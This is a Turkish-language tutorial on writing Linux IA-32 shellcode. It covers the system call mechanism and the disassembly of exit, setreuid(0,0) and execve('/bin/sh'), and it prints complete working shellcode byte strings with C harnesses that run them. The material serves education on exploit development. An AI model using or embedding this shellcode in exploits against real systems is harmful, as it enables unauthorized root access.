KABUK KODLARI HAKKINDA (DESIGNING SHELLCODE DEMYSTIFIED) by murat@enderunix.org Buffer Overflows Demystified isimli bir onceki yazimizda ileride bu konu ile ilgili daha detayli ve daha cok dikkat gerektiren mevzular hakkinda yazilarimizin gelecegini belirtmistik. Simdi bu sozumuzu tutuyor, ve serinin ikinci dokumanini sunuyoruz. Dokuman shellcode dizayninin mantigi ve incelikleri hakkindadir. Intel mimarisinde Linux 2.2 isletim sistemi baz alinmistir. Konunun temel mantigi butun mimarilerde ayni olmakla beraber, detaylar mimariden mimariye degisir... Bu dokuman, birincisinin devami niteligindedir. Olup biteni anlamak icin oncekini mutlaka okumalisiniz. Dokumani anlamak icin yuzeysel C, assembly bilmeniz gerekli. Sanal bellek, bir proses'in bellekte nasil yerlestigi ve benzeri isletim sistemi kavramlari bilgileri cok yardimci olur. Ayrica setuid programlarin ne olduklari ve nasil calistiklari gibi temel Unix bilgileri dokumani anlamaniz icin sart. Gdb ve gcc ile daha onceden calismis olmaniz teknik olarak isinizi kolaylastiracaktir. Yaninizda her halukarda "IA-32 Intel® Architecture Software Developer.s Manual Volume 1: Basic Architecture" kitabini da hazir bulundurmalisiniz. Bu dokumani ftp://download.intel.com/design/Pentium4/manuals/24547008.pdf adresinden indirebilirsiniz. Bu dokumanin en yeni versiyonlarini, http://www.enderunix.org/docs/sc-tr.txt adresinden okuyabilirsiniz... SHELLCODE Nedir? Bir onceki dokumanda, israrla programin kontrolunu elimize aldiktan sonra istedigimiz bir kodu calistirabildigimizi soylemistim. Hatirlayalim: "Biz strcpy()'yi cagirdigimizda buyuk_array, foo1 array'inin baslangic adresi olan EBP-16'dan baslayarak, yukari dogru butun stack'i A ile dolduruyor. Simdi, peki, geri donus adresinin uzerine yazabildik, o zaman o adrese calismasini istedigimiz baska bir program parcaciginin adresini koysak, fonksiyon geri dondugunde o program parcaciginin adresine gidip, ordaki instruction'lari calistirmaya baslamaz mi? Cevap: Evet baslar. Mesela biz buraya /bin/sh calistiran bir kodun adresini koysak, fonksiyon geri dondukten sonra /bin/sh calistiracak olan kod calismaya baslayacak ve biz shell'e dusecegiz." Yine diger yazidan hatirlarsaniz, CPU'nun calistiracagi bu 'instruction'lar, hafizada belirli bir kesimde bulunuyorlar, ve CPU da EIP'nin gosterdigi hafiza bolmesindeki komutlari sirayla teker teker calistiriyor. Basitce yaptigimiz calismasini istedigimiz komutlari iceren machine instruction'lari kontrolumuz altindaki hafiza bolmesine yerlestirmek. Iste istedigimiz komutlari iceren bu makina komutlarina shellcode diyoruz. Bir exploit'in icinde kullanmak icin de, bu komutlarin hafizaya yerlestirebile- cegimiz sekilde hexadecimal hallerini art arda dizip, bir karakter array'e koyuyoruz. Bu komutlari birkac sekilde yazmak mumkun: 1. Hex Code'la direkt yazmak 2. Assembly kodunu yazip, hex kodunu (opcode) cikarmak 3. C kodunu yazip, assembly ve sonra da hex kodunu cikarmak Bu dokumanda Once ucuncu yontemi kullanip basitce /bin/sh calistiran bir shellcode olusturmaya calisacagiz, sonra da ikinci yontemden giderek bir iki systemcall'i calistiran bir shellcode yazacagiz. Shellcode ile calistirmak isteyecegimiz kod cogu zaman bir sistem programinin calistirilsi olacaktir. Ornegin, exploit'le kontrolunu ele aldigimiz programin buyuk ihtimalle yeni bir shell spawn etmesini, eger remote calisacaksa, bir socket'e baglandiktan sonra o socket'e bir shell bind etmesini isteyecegiz. Bi program calistirmak demek, kernel'dan "yeni process yaratip calistirma" servisini cagirmak demektir (execve). Iste bu tip kernel servislerini istemek icin once user mode'dan kernel mode'a gecmemiz gerekmektedir. Bu islemler, "kernel giris kapisi" olarak tanimlayabilecegimiz system call'lar (bundan sonra sistem cagrisi olarak tanimlayacagiz) ile yapilabilmektedir. Bu durumda shellcode'dan once sistem cagrilarina daha yakindan gozatmakta fayda var. SYSTEM CALLS (SISTEM CAGRILARI) Kernel mode'a girisler, onu olusturan olayin niteligine gore uce ayrilirlar: 1. Hardware Interrupt 2. Hardware trap 3. Software initiated trap Hardware Interrupt'lari adindan da anlasilacagi uzre, donanimsal ihtiyaclardan dolayi olusturulurlar. Mesela islem bekleyen bir Girdi/Cikti aygiti ya da sistem'in saati bu tip kesmelere neden olabilirler. Bunlar asenkrondurlar ve o anda calismakta olan programla ilgili olmayabilirler. Hardware Traplar, senkron veya asenkron olabilirler ve o anda calisan process ile ilgilidirler. Bunlara ornek olarak, programda olusan sifira bolme hatasi (division by zero) verilebilir. Software Initiated trap'ler tamamen yazilim bazlidir, ve sistem tarafindan process rescheduling veya network processing gibi olaylari schedule etmek icin kullanilirlar. Sistem cagrilari da software initiated trap'larin ozel bir seklidir. Sistem cagrisini olusturmak icin kullanilan makina komutu, kernel tarafindan ozel olarak process edilen bir hardware trap olusturmaktadir, kisaca... System call'i nitelendiren bir interrupt oldugunda, kernel, bu interrupti process etmenin overhead'ini en aza indirmekle sorumludur. System call olustugunda, kernel'in system call handler'i system call'a girilen parametre- lerin dogru userspace adresler oldugunu dogrulamak, bu parametreleri kullanici alanindan kernel alanina kopyalamak; ve de sistem cagrisini isleyecek bir kernel rutinini cagirmak durumundadir. Linux, IA32 mimarisinde sistem cagrilarini karsilamak icin iki metod kullanir: 1. lcall7/lcall27 gates 2. INT 0x80 software interrupt. Asil Linux uygulamalari INT 0x80'i kullanirken, diger bazi UNIX vendor'larinin binary'leri de lcall7 mekanizmasini kullanir. Isletim sisteminin boot prosedulerinden birisi de, Interrupt Descriptor Table (IDT)'yi olusturmaktir. arch/i386/kernel/traps.c icindeki trap_init() fonksiyonu, IDT vektorunun 0x80 (128). elemaninin arch/i386/kernel/entry.S deki system_call entry'e isaret etmesini saglar. Boylece bir INT 0x80, komutu calistiginda onu karsilayan kernel fonksiyonu calisacaktir. Sistem cagrisi istegini, cagri anindaki CPU register'larinin durumu belirler. EAX register'inin alacagi deger, hangi sistem cagirisinin calistirilacagini tespit eder. Diger registerlar, EAX'in aldigi deger gore parametrik deger tasirlar. Ornek vermek gerekirse, bir process'den _exit sistem call cagrilmis olsun. Isletim sistemi INT 0x80 komutu ile kernel mode'a gecmeden once EAX registerini sys_exit'i tanimlayan 0x1 yapar, _exit'e girilen integer parametresini (exit status)'de EBX register ina yazar ve INT 0x80 ile kernel mode'a gecer. Kernelda bu trap'in sonucunda IDT'ten 0x80'i karsilayacak rutini bulur ve calistirir. O fonksiyon da, EAX'daki degere gore gerekli system call handler'i calistirir. Bu durumda EAX 0x1 olduguna gore, kernel/exit.c deki sys_exit rutini calistirilir. Bu rutin de EBX'deki degere gore islemini yapar, ve bundan sonra da ret_from_syscall rutinleri calismaya baslar... Evet, son derece yuzeysel olarak system cagri mantigini ve nasil calistigini anlattiktan sonra isterseniz simdi exit(0)'i assembler'da yazmaya calisalim. Sonra da assembler kodunun karsiligini hex opcode'lari bulup, bir string'e dizip shellcode haline getirecegiz. EXIT SHELLCODE Once, C kodunu yazip disassemble edelim ve olayi gozlerimizle gorelim. $ export CFLAGS=-g ----------------------- c-exit.c ------------------------------ #include main() { exit(0); } ----------------------- c-exit.c ------------------------------ $ make c-exit cc -g c-exit.c -o c-exit $ gdb ./c-exit (gdb) b main Breakpoint 1 at 0x80483b7: file c-exit.c, line 5. (gdb) r Starting program: /home/balaban/sc/./c-exit warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Breakpoint 1, main () at c-exit.c:5 5 exit(128); (gdb) disas _exit Dump of assembler code for function _exit: 0x400a5ee0 <_exit>: mov %ebx,%edx 0x400a5ee2 <_exit+2>: mov 0x4(%esp,1),%ebx 0x400a5ee6 <_exit+6>: mov $0x1,%eax 0x400a5eeb <_exit+11>: int $0x80 --kesildi--- End of assembler dump. (gdb) Evet yukarida goruldugu gibi, standart library rutini _exit, EAX'i sys_exit'in karsiligi olan 0x1 yapip, parametreyi(stack'de) de EBX'e koyuyor. Yani, exit(0) icin gerekli assembler instruction'lari: XOR %EBX, %EBX /* exitin donus kodu, EBX'i sifirliyoruz.*/ MOV $0x1, %EAX /* sys_exit */ INT 0x80 /* SW Interrupt'i generate et. */ Linux System Call table'in kullanici dostu bir hali asagidaki adreste bulunabilir: http://world.std.com/~slanning/asm/syscall_list.html Burada sys_exit asagidaki sekilde tarif edilmis: %eax Name Source %ebx %ecx %edx %esx %edi 1 sys_exit kernel/exit.c int - - - - Sadece EAX ve EBX kullanilmis, diger registerlar bir mana ifade etmiyor... Simdi bunu inline assembly kodu olarak girelim: ----------------------- a-exit.c ------------------------------ main() { __asm__(" xorl %ebx, %ebx mov $0x1, %eax int $0x80 "); } ----------------------- a-exit.c ------------------------------ strace komutu ile program suresince calisan syscall'lari izleyebiliyoruz: $ strace ./a-exit execve("./a-exit", ["./a-exit"], [/* 32 vars */]) = 0 brk(0) = 0x80494d8 --- kesildi --- _exit(0) = ? $ Yukarida gordugunuz gibi en son _exit(0) calismis... Simdi de baslamisken, baska bir syscall'a bakalim: setreuid(0, 0) Bazi vulnerable programlar, biz daha onceden execution'u ele almadan privilege'larini drop ediyorlar, direk shell'i spawn ettigimiz zaman da root shell'e dusmuyoruz. Onun icin bu gibi durumlarda asil shellcode'un onune bunun gibi bir kod ekleyip once root privilege'lari tekrar ele aliyoruz. Yukarida verilen URI'den setreuid(0, 0) icin register'lerin hangi durumda olmasi gerektigine bakalim: %eax Name Source %ebx %ecx %edx %esx %edi 70 sys_setreuid kernel/sys.c uid_t uid_t - - - Yapacagimiz ayni. EAX'a sys_setreuid'in degeri 70'i, EBX'e istedigimiz real uid'i, ECX'e de istedigimiz effective uid'i yazip INT 0x80 yapacagiz. ----------------------- a-setreuid.c ------------------------------ main() { __asm__(" xorl %ebx, %ebx xorl %ecx, %ecx mov $0x46, %eax int $0x80 xorl %ebx, %ebx mov $0x1, %eax int $0x80 "); } ----------------------- a-setreuid.c ------------------------------ xorl %ebx, %ebx EBX register'ini sifir yapiyoruz. Bir sayiyi kendisi ile XOR'larsaniz o sayiyi sifir yapmis olursunuz. EBX real uid'in ne olacagini belirliyor. xorl %ecx, %ecx Ayni sekilde ECX register'ini da sifir yapiyoruz. ECX effective uid'in ne olacagini belirliyor. mov $0x46, %eax EAX register'ina 0x46'yi koyuyoruz. Bu setreuid'in syscall table'daki degeri. int $0x80 Interrupt'i trigger ediyoruz. Bundan sonraki diger kisimlar da exit(0) icin gerekli olan assembler komutlari. $ make a-setreuid cc a-setreuid.c -o a-setreuid $ su # strace ./a-setreuid execve("./a-setreuid", ["./a-setreuid"], [/* 31 vars */]) = 0 brk(0) = 0x80494e4 ---- kesildi ---- setreuid(0, 0) = 0 _exit(0) = ? # Gordugunuz gibi once setreuid(0, 0), sonra da _exit(0) calismis. Simdi de yazdigimiz kodun hexadecimal opcode olarak karsiligini bulup, bunlari bir dizi seklinde yazalim: GDB'de x/bx komutu belirti- gimiz hafiza bolmesinden bir byte unit'i hexadecimal olarak bize gosterir. Bizim de istedigimiz tam olarak bu. Daha detayli bilgi icin: http://www.gnu.org/manual/gdb-4.17/html_chapter/gdb_9.html#SEC56 $ gdb ./a-setreuid (gdb) disas main Dump of assembler code for function main: 0x8048380
: push %ebp 0x8048381 : mov %esp,%ebp 0x8048383 : xor %ebx,%ebx 0x8048385 : xor %ecx,%ecx 0x8048387 : mov $0x46,%eax 0x804838c : int $0x80 0x804838e : xor %ebx,%ebx 0x8048390 : mov $0x1,%eax 0x8048395 : int $0x80 0x8048397 : leave 0x8048398 : ret End of assembler dump. (gdb) x/bx main+3 0x8048383 : 0x31 (gdb) x/bx main+4 0x8048384 : 0xdb (gdb) x/bx main+5 0x8048385 : 0x31 (gdb) x/bx main+6 0x8048386 : 0xc9 (gdb) x/bx main+7 0x8048387 : 0xb8 (gdb) x/bx main+8 0x8048388 : 0x46 (gdb) x/bx main+9 0x8048389 : 0x00 (gdb) x/bx main+10 0x804838a : 0x00 (gdb) x/bx main+11 0x804838b : 0x00 (gdb) x/bx main+12 0x804838c : 0xcd (gdb) x/bx main+13 0x804838d : 0x80 (gdb) x/bx main+14 0x804838e : 0x31 (gdb) x/bx main+15 0x804838f : 0xdb (gdb) x/bx main+16 0x8048390 : 0xb8 (gdb) x/bx main+17 0x8048391 : 0x01 (gdb) x/bx main+18 0x8048392 : 0x00 (gdb) x/bx main+19 0x8048393 : 0x00 (gdb) x/bx main+20 0x8048394 : 0x00 (gdb) x/bx main+21 0x8048395 : 0xcd (gdb) x/bx main+22 0x8048396 : 0x80 (gdb) Simdi de shellcode'umuzu yazalim: ----------------------- s-setreuid.c ------------------------------ char sc[] = "\x31\xdb" /* xor %ebx, %ebx */ "\x31\xc9" /* xor %ecx, %ecx */ "\xb8\x46\x00\x00\x00" /* mov $0x46, %eax */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb8\x01\x00\x00\x00" /* mov $0x1, %eax */ "\xcd\x80"; /* int $0x80 */ main() { void (*fp) (void); fp = (void *)sc; fp(); } ----------------------- s-setreuid.c ------------------------------ $ su # make s-setreuid cc s-setreuid.c -o s-setreuid # strace ./s-setreuid execve("./s-setreuid", ["./s-setreuid"], [/* 31 vars */]) = 0 brk(0) = 0x80494f8 ---- kesildi setreuid(0, 0) = 0 _exit(0) = ? # Evet yukarida gordugunuz gibi, ayni etkiyi kendi yazdigimiz shellcode'umuz ile gerceklestirdik. SHELL SPAWN EDEN SHELLCODE Isin tatli tarafi burada aslinda. Simdi de yukarida ogrendikleri- mizi temel alarak shell calistiran bir shellkod yazmaya calisalim. Once yapma- miz gereken execve systelcall'unu biraz incelemek. Yukarida verdigim adrese gidin ve ne yapmaniz gerektigini hemen ogrenin: %eax Name Source %ebx %ecx %edx %esx %edi 11 sys_execve arch/i386/kernel/process.c struct pt_regs - - - - struct pt_regs kabul ediyor. Eger arch/i386/kernel/process.c'ye bakacak olursaniz: /* * sys_execve() executes a new program. */ asmlinkage int sys_execve(struct pt_regs regs) { int error; char * filename; filename = getname((char *) regs.ebx); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; error = do_execve(filename, (char **) regs.ecx, (char **) regs.edx, ®s); if (error == 0) current->ptrace &= ~PT_DTRACE; putname(filename); out: return error; } execve'nin do_execve diye baska bir fonksiyonu cagirdigini goreceksiniz. Bu fonksiyona calistirilacak programin adresini (filename), ECX ve EDX register larini da pass ettigini goreceksiniz. Demek ki EBX register'inda calistiraca- gimiz programin full pathinin adresi, yani "/bin/sh"'in adresi olmasi gerekiyor: filename = getname((char *) regs.ebx); Simdi diger register'larin ne ise yaradigini anlamak icin biraz daha izleyelim: fs/exec.c'den: int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs) Buradan da, ECX register'inda argv[]'nin adresinin olacagini, EDX register'inda env[]'in olacagini anliyoruz. env[] yerine NULL koyabiliriz, ama argv[0] programin ismi olmali. argv[]'nin NULL terminated bir array olma zorunlulugun- dan dolayi argv[1] de NULL olacak dolayisiyla. Bu duruma gore, yapmamiz gereken: * hafizada /bin/sh string'i bulundurmak * bunun adresini EBX'e yazmak * hafizada /bin/sh'in ve sifir'in adresini barindiran bir array bulundurmak * bu char **'in adresini ECX'e yazmak * EDX'e NULL yazmak * int $0x80 ile interrupt'i trigger etmek. Simdi yazmaya baslayalim: Once hafiazada NULL terminated "/bin/sh" koyalim. bu string'i stack'e push ederek bunu yapabiliriz: "/bin/sh" dizisini sonlandiran NULL byte'i (0) EAX registerinda olusturuyoruz: xorl %eax, %eax Sifiri stack'e push et: pushl %eax Stack'e "//sh" push et: pushl $0x68732f2f Stack'e "/bin" push et: pushl $0x6e69622f ESP su anda "/bin/sh" dizisinin adresini gosteriyor. Bizim bu adrese EBX'de ihtiyacimiz var. O zaman onu EBX'e koyalim: movl %esp, %ebx EAX hala sifir. Bunu da argv[]'yi sonlandiran NULL icin kullanabiliriz: pushl %eax Eger /bin/sh'in adresini de push edersek, ECX'e koymamiz gereken argv'nin adresi ESP'de olusacaktir. Boylece hafizada char **argv olusturmus oluyoruz: pushl %ebx Simdi de bunun adresini ECX'e yazalim: movl %esp, %ecx EDX'de envp'nin adresi gerekiyordu. Hatirlarsaniz NULL olabilir demistim: xorl %edx, %edx EAX'e syscall tablosunda execve'nin karsiligi olan 11'i yaz: movb $0xb, %al Interrupy'i trigger et ve kernel mode'a gec: int $0x80 ----------------------- sc.c ------------------------------ main() { __asm__(" xorl %eax,%eax pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp, %ebx pushl %eax pushl %ebx movl %esp, %ecx xorl %edx, %edx movb $0xb, %eax int $0x80" ); } ----------------------- sc.c ------------------------------ $ make sc cc -g sc.c -o sc $ ./sc sh-2.04$ Calisti. Simdi de satir satir opcode'larini bulalim, ve shellcode'umuzu olusturalim. $ gdb ./sc (gdb) disas main Dump of assembler code for function main: 0x8048380
: push %ebp 0x8048381 : mov %esp,%ebp 0x8048383 : xor %eax,%eax 0x8048385 : push %eax 0x8048386 : push $0x68732f2f 0x804838b : push $0x6e69622f 0x8048390 : mov %esp,%ebx 0x8048392 : push %eax 0x8048393 : push %ebx 0x8048394 : mov %esp,%ecx 0x8048396 : xor %edx,%edx 0x8048398 : mov $0xb,%al 0x804839a : int $0x80 0x804839c : leave 0x804839d : ret End of assembler dump. (gdb) x/bx main+3 0x8048383 : 0x31 (gdb) x/bx main+4 0x8048384 : 0xc0 (gdb) 0x8048385 : 0x50 (gdb) 0x8048386 : 0x68 (gdb) 0x8048387 : 0x2f (gdb) 0x8048388 : 0x2f (gdb) 0x8048389 : 0x73 (gdb) 0x804838a : 0x68 (gdb) 0x804838b : 0x68 (gdb) 0x804838c : 0x2f (gdb) 0x804838d : 0x62 (gdb) 0x804838e : 0x69 (gdb) 0x804838f : 0x6e (gdb) 0x8048390 : 0x89 (gdb) 0x8048391 : 0xe3 (gdb) 0x8048392 : 0x50 (gdb) 0x8048393 : 0x53 (gdb) 0x8048394 : 0x89 (gdb) 0x8048395 : 0xe1 (gdb) 0x8048396 : 0x31 (gdb) 0x8048397 : 0xd2 (gdb) 0x8048398 : 0xb0 (gdb) 0x8048399 : 0x0b (gdb) 0x804839a : 0xcd (gdb) 0x804839b : 0x80 (gdb) ----------------------- sc.c ------------------------------ char sc[] = "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb0\x0b" /* mov $0xb,%al */ "\xcd\x80"; /* int $0x80 */ main() { void (*fp) (void); fp = (void *)sc; fp(); } ----------------------- sc.c ------------------------------ $ make s-sc cc -g s-sc.c -o s-sc $ ./s-sc sh-2.04$ SON SOZLER Yukarida acikladigimiz yapiyi kullanarak milyon tane degisik shellcode yazmak mumkun. Tek gereken biraz dikkat ve kafa yormak. Benzer dokumanlarimiz surecek... - Murat Balaban murat@enderunix.org GREETINGS a, da, aleph1, lsd-pl guys, Mr. Brown, cronos, gargoyle, matsuri Referanslar: [1] Linux Kernel Internals Beck M et al, Addison Wesley, (1997) 2nd edition. [2] The Design and Implementation of the 4.4BSD Operating System McKusick M et al, Addison Wesley, 1996. [3] IA-32 Intel® Architecture Software Developer's Manuals http://www.intel.com/design/pentium4/manuals/ [4] Buffer Overflows Demystified http://www.enderunix.org/docs/bof.txt [5] Smashing the Stack for Fun and Profit http://www.phrack.org/phrack/49/P49-14 [6] Linux 2.2 Kernel Sources http://www.kernel.org/pub/linux/kernel/v2.2/ [7] asmcodes-1.0.2 by Last Stage of Delirium Research Group http://lsd-pl.net/projects/asmcodes-1.0.2.tar.gz